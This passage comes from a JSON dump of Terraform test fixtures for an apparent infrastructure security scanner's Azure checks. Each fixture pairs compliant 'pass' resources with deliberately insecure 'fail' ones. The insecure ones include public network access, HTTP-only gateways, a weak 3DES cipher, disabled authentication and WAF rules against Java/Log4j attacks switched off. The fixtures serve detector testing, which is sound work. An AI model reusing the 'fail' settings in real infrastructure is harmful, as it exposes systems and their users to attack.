\"azurerm_app_configuration\" \"fail2\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppConfigPublicAccess/main.tf",
    "content": "resource \"azurerm_app_configuration\" \"pass\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Disabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    key_vault_key_identifier = azurerm_key_vault_key.example.id\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppConfigPurgeProtection/main.tf",
    "content": "resource \"azurerm_app_configuration\" \"pass\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = true\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    key_vault_key_identifier = azurerm_key_vault_key.example.id\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail2\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppConfigSku/main.tf",
    "content": "resource \"azurerm_app_configuration\" \"pass\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    key_vault_key_identifier = azurerm_key_vault_key.example.id\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"basic\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail2\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppGWDefinesSecureProtocols/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_virtual_network\" \"example\" {\n  name                = \"example-network\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  address_space       = [\"10.254.0.0/16\"]\n}\n\nresource \"azurerm_subnet\" \"frontend\" {\n  name                 = \"frontend\"\n  resource_group_name  = azurerm_resource_group.example.name\n  virtual_network_name = azurerm_virtual_network.example.name\n  address_prefixes     = [\"10.254.0.0/24\"]\n}\n\nresource \"azurerm_subnet\" \"backend\" {\n  name                 = \"backend\"\n  resource_group_name  = azurerm_resource_group.example.name\n  virtual_network_name = azurerm_virtual_network.example.name\n  address_prefixes     = [\"10.254.2.0/24\"]\n}\n\nresource \"azurerm_public_ip\" \"example\" {\n  name                = \"example-pip\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  allocation_method   = \"Dynamic\"\n}\n\n# since these variables are reused - a locals block makes this more maintainable\nlocals {\n  backend_address_pool_name      = \"${azurerm_virtual_network.example.name}-beap\"\n  frontend_port_name             = \"${azurerm_virtual_network.example.name}-feport\"\n  frontend_ip_configuration_name = \"${azurerm_virtual_network.example.name}-feip\"\n  http_setting_name              = \"${azurerm_virtual_network.example.name}-be-htst\"\n  listener_name                  = \"${azurerm_virtual_network.example.name}-httplstn\"\n  request_routing_rule_name      = \"${azurerm_virtual_network.example.name}-rqrt\"\n  redirect_configuration_name    = \"${azurerm_virtual_network.example.name}-rdrcfg\"\n}\n//no ssl_policy block\nresource \"azurerm_application_gateway\" \"fail\" {\n  name                = \"example-appgateway-fail\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Http\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n}\n\n//no policy_type set\nresource \"azurerm_application_gateway\" \"fail2\" {\n  name                = \"example-appgateway-fail2\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Https\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n\n  ssl_policy {\n    disabled_protocols = [\"TLS_v1_0\"]\n  }\n}\n\n//bad ciphers\nresource \"azurerm_application_gateway\" \"fail3\" {\n  name                = \"example-appgateway-fail3\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Https\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n\n    ssl_policy {\n    policy_type = \"Custom\"\n    min_protocol_version = \"TLSv1_2\"\n    cipher_suites = [\"TLS_AES_128_GCM_SHA256\",\"TLS_AES_256_GCM_SHA384\",\n      \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\n      \"TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA\"]\n  }\n}\n\n//bad predefined\nresource \"azurerm_application_gateway\" \"fail4\" {\n  name                = \"example-appgateway-pass\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Https\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n\n  ssl_policy {\n    policy_type = \"Predefined\"\n    policy_name = \"20150501\"\n  }\n}\n\n//custom\nresource \"azurerm_application_gateway\" \"pass\" {\n  name                = \"example-appgateway-pass\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Https\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n\n  ssl_policy {\n    policy_type = \"Custom\"\n    min_protocol_version = \"TLSv1_2\"\n    cipher_suites = [\"TLS_AES_128_GCM_SHA256\",\"TLS_AES_256_GCM_SHA384\",\n      \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\"]\n  }\n}\n\n//predefined\nresource \"azurerm_application_gateway\" \"pass2\" {\n  name                = \"example-appgateway-pass2\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Https\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n\n  ssl_policy {\n    policy_type = \"Predefined\"\n    policy_name = \"AppGwSslPolicy20220101S\"\n  }\n}\n\nresource \"azurerm_application_gateway\" \"pass_dynamic_bug\" {\n\n  enable_http2        = false\n  location            = \"\"\n  name                = \"\"\n  resource_group_name = \"\"\n\n  dynamic \"ssl_policy\" {\n    for_each = var.ssl_policy == null ? [] : [1]\n    content {\n      disabled_protocols   = lookup(var.ssl_policy, \"disabled_protocols\", [])\n      policy_type          = lookup(var.ssl_policy, \"policy_type\", \"Predefined\")\n      policy_name          = lookup(var.ssl_policy, \"policy_type\") == \"Predefined\" ? lookup(var.ssl_policy, \"policy_name\", \"AppGwSslPolicy20170401S\") : null\n      cipher_suites        = lookup(var.ssl_policy, \"cipher_suites\", [])\n      min_protocol_version = lookup(var.ssl_policy, \"min_protocol_version\", null)\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppGWDefinesSecureProtocols/terraform.auto.tfvars",
    "content": "ssl_policy = {\n  disabled_protocols = []\n  policy_type        = \"Custom\"\n  cipher_suites = [\n    \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\n  ]\n  min_protocol_version = \"TLSv1_2\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppGWDefinesSecureProtocols/variables.tf",
    "content": "variable \"ssl_policy\" {\n  description = \"bla bla\"\n  type        = any\n  default     = {}\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppGWUsesHttps/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_virtual_network\" \"example\" {\n  name                = \"example-network\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  address_space       = [\"10.254.0.0/16\"]\n}\n\nresource \"azurerm_subnet\" \"frontend\" {\n  name                 = \"frontend\"\n  resource_group_name  = azurerm_resource_group.example.name\n  virtual_network_name = azurerm_virtual_network.example.name\n  address_prefixes     = [\"10.254.0.0/24\"]\n}\n\nresource \"azurerm_subnet\" \"backend\" {\n  name                 = \"backend\"\n  resource_group_name  = azurerm_resource_group.example.name\n  virtual_network_name = azurerm_virtual_network.example.name\n  address_prefixes     = [\"10.254.2.0/24\"]\n}\n\nresource \"azurerm_public_ip\" \"example\" {\n  name                = \"example-pip\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  allocation_method   = \"Dynamic\"\n}\n\n# since these variables are reused - a locals block makes this more maintainable\nlocals {\n  backend_address_pool_name      = \"${azurerm_virtual_network.example.name}-beap\"\n  frontend_port_name             = \"${azurerm_virtual_network.example.name}-feport\"\n  frontend_ip_configuration_name = \"${azurerm_virtual_network.example.name}-feip\"\n  http_setting_name              = \"${azurerm_virtual_network.example.name}-be-htst\"\n  listener_name                  = \"${azurerm_virtual_network.example.name}-httplstn\"\n  request_routing_rule_name      = \"${azurerm_virtual_network.example.name}-rqrt\"\n  redirect_configuration_name    = \"${azurerm_virtual_network.example.name}-rdrcfg\"\n}\n\nresource \"azurerm_application_gateway\" \"fail\" {\n  name                = \"example-appgateway-fail\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Http\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n}\n\nresource \"azurerm_application_gateway\" \"pass\" {\n  name                = \"example-appgateway-pass\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Https\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n    priority                   = 0\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppGatewayWAFACLCVE202144228/main.tf",
    "content": "# pass\n\nresource \"azurerm_web_application_firewall_policy\" \"owasp_3_1_default\" {\n  location            = \"germanywestcentral\"\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rules {\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.1\"\n\n      rule_group_override = [{}]\n    }\n  }\n\n  policy_settings {}\n}\n\nresource \"azurerm_web_application_firewall_policy\" \"owasp_3_2_default\" {\n  location            = \"germanywestcentral\"\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rules {\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.2\"\n    }\n  }\n\n  policy_settings {}\n}\n\nresource \"azurerm_web_application_firewall_policy\" \"version_3_1_default\" {\n  location            = \"germanywestcentral\"\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rules {\n    managed_rule_set {\n      version = \"3.2\"\n    }\n  }\n\n  policy_settings {}\n}\n\nresource \"azurerm_web_application_firewall_policy\" \"owasp_3_1_disabled_different\" {\n  location            = \"germanywestcentral\"\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rules {\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.1\"\n\n      rule_group_override {\n        rule_group_name = \"REQUEST-944-APPLICATION-ATTACK-JAVA\"\n        disabled_rules = [\n          \"944200\",\n          \"944210\"\n        ]\n      }\n    }\n  }\n\n  policy_settings {}\n}\n\nresource \"azurerm_web_application_firewall_policy\" \"empty_disabled_rules\" {\n  location            = \"germanywestcentral\"\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rules {\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.1\"\n\n      rule_group_override {\n        rule_group_name = \"REQUEST-944-APPLICATION-ATTACK-JAVA\"\n      }\n    }\n  }\n\n  policy_settings {}\n}\n\n# fail\n\nresource \"azurerm_web_application_firewall_policy\" \"owasp_3_0\" {\n  location            = \"germanywestcentral\"\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rules {\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.0\"\n    }\n  }\n\n  policy_settings {}\n}\n\nresource \"azurerm_web_application_firewall_policy\" \"owasp_3_1_disabled\" {\n  location            = \"germanywestcentral\"\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rules {\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.1\"\n\n      rule_group_override {\n        rule_group_name = \"REQUEST-944-APPLICATION-ATTACK-JAVA\"\n        disabled_rules = [\n          \"944200\",\n          \"944240\"\n        ]\n      }\n    }\n  }\n\n  policy_settings {}\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceAlwaysOn/main.tf",
    "content": "resource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    always_on = true\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    always_on = false\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    always_on = true\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    always_on = false\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceAuthentication/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n}\n\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  auth_settings {\n    enabled                       = false\n    issuer                        = \"https://sts.windows.net/d13958f6-b541-4dad-97b9-5a39c6b01297\"\n    default_provider              = \"AzureActiveDirectory\"\n    unauthenticated_client_action = \"RedirectToLoginPage\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  auth_settings {\n    enabled                       = true\n    issuer                        = \"https://sts.windows.net/d13958f6-b541-4dad-97b9-5a39c6b01297\"\n    default_provider              = \"AzureActiveDirectory\"\n    unauthenticated_client_action = \"RedirectToLoginPage\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"fail2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  auth_settings {\n    enabled = false\n  }\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  auth_settings_v2 {\n    auth_enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"fail2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  auth_settings {\n    enabled = false\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  auth_settings_v2 {\n    auth_enabled = true\n  }\n  site_config {}\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceClientCertificate/main.tf",
